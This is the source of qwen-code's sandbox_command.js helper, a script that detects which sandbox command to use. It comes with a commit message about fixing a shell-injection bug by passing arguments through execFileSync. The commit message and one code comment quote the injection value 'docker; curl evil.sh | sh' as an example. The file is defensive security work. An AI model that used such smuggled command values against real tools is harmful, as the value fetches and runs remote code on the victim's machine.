qwen-code/scripts/sandbox_command.js
tanzhenxin 0cbd687885
fix(scripts): avoid shell injection in sandbox command detection (#6108)
The dev/build helper sandbox_command.js interpolated the QWEN_SANDBOX
value straight into a shell string passed to execSync, so a value like
'docker; curl evil.sh | sh' would run the trailing command. Pass the
candidate as a separate argv element via execFileSync instead, using an
absolute /bin/sh for the POSIX 'command -v' builtin so a PATH-controlled
shell cannot be hijacked either.

Add a subprocess regression test covering several injection payload shapes.
2026-07-01 16:20:40 +08:00

168 lines
5 KiB
JavaScript

/**
* @license
* Copyright 2025 Google LLC
* SPDX-License-Identifier: Apache-2.0
*/
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
import { execFileSync } from 'node:child_process';
import { existsSync, readFileSync } from 'node:fs';
import path from 'node:path';
const { join, dirname } = path;
import stripJsonComments from 'strip-json-comments';
import os from 'node:os';
import yargs from 'yargs';
import { hideBin } from 'yargs/helpers';
import dotenv from 'dotenv';
import { bootstrapHomeEnv, resolvePath } from './lib/qwen-home-bootstrap.js';
const argv = yargs(hideBin(process.argv)).option('q', {
alias: 'quiet',
type: 'boolean',
default: false,
}).argv;
let qwenSandbox = process.env.QWEN_SANDBOX;
bootstrapHomeEnv();
if (!qwenSandbox) {
const configDir = process.env.QWEN_HOME
? resolvePath(process.env.QWEN_HOME)
: join(os.homedir(), '.qwen');
const userSettingsFile = join(configDir, 'settings.json');
if (existsSync(userSettingsFile)) {
const settings = JSON.parse(
stripJsonComments(readFileSync(userSettingsFile, 'utf-8')),
);
if (settings.sandbox) {
qwenSandbox = settings.sandbox;
}
}
}
if (!qwenSandbox) {
// Walk up from cwd to find a project-level .env. Parse manually and copy
// only QWEN_SANDBOX — calling dotenv.config() here would inject every key,
// including QWEN_HOME / QWEN_RUNTIME_DIR that the main CLI hard-blocks via
// PROJECT_ENV_HARDCODED_EXCLUSIONS. A project file must not be able to
// redirect global state through this back door.
let currentDir = process.cwd();
while (true) {
const qwenEnv = join(currentDir, '.qwen', '.env');
const regularEnv = join(currentDir, '.env');
let candidate = null;
if (existsSync(qwenEnv)) {
candidate = qwenEnv;
} else if (existsSync(regularEnv)) {
candidate = regularEnv;
}
if (candidate) {
try {
const parsed = dotenv.parse(readFileSync(candidate, 'utf-8'));
if (
parsed.QWEN_SANDBOX &&
!Object.hasOwn(process.env, 'QWEN_SANDBOX')
) {
process.env.QWEN_SANDBOX = parsed.QWEN_SANDBOX;
}
} catch (_e) {
// Match dotenv's quiet-mode behavior used elsewhere.
}
break;
}
const parentDir = dirname(currentDir);
if (parentDir === currentDir) {
break;
}
currentDir = parentDir;
}
qwenSandbox = process.env.QWEN_SANDBOX;
}
qwenSandbox = (qwenSandbox || '').toLowerCase();
const commandExists = (cmd) => {
// Pass `cmd` as a separate argv element (never interpolated into a shell
// command string) so a malicious QWEN_SANDBOX value such as
// `docker; curl evil.sh | sh` cannot inject extra commands.
const check = (candidate) => {
if (os.platform() === 'win32') {
// Use 'where.exe' (not 'where') because PowerShell aliases 'where' to
// 'Where-Object', which breaks command detection.
execFileSync('where.exe', [candidate], { stdio: 'ignore' });
} else {
// 'command -v' is a POSIX shell builtin, so it must run inside a shell.
// Bind the candidate to $1 rather than splicing it into the script text.
// Use an absolute '/bin/sh' (matching execSync's default) so a
// PATH-controlled 'sh' from an untrusted project cannot be run here.
execFileSync('/bin/sh', ['-c', 'command -v "$1"', 'sh', candidate], {
stdio: 'ignore',
});
}
};
try {
check(cmd);
return true;
} catch {
if (os.platform() === 'win32' && !cmd.endsWith('.exe')) {
try {
check(`${cmd}.exe`);
return true;
} catch {
return false;
}
}
return false;
}
};
let command = '';
if (['1', 'true'].includes(qwenSandbox)) {
if (commandExists('docker')) {
command = 'docker';
} else if (commandExists('podman')) {
command = 'podman';
} else {
console.error(
'ERROR: install docker or podman or specify command in QWEN_SANDBOX',
);
process.exit(1);
}
} else if (qwenSandbox && !['0', 'false'].includes(qwenSandbox)) {
if (commandExists(qwenSandbox)) {
command = qwenSandbox;
} else {
console.error(
`ERROR: missing sandbox command '${qwenSandbox}' (from QWEN_SANDBOX)`,
);
process.exit(1);
}
} else {
if (os.platform() === 'darwin' && process.env.SEATBELT_PROFILE !== 'none') {
if (commandExists('sandbox-exec')) {
command = 'sandbox-exec';
} else {
process.exit(1);
}
} else {
process.exit(1);
}
}
if (!argv.q) {
console.log(command);
}
process.exit(0);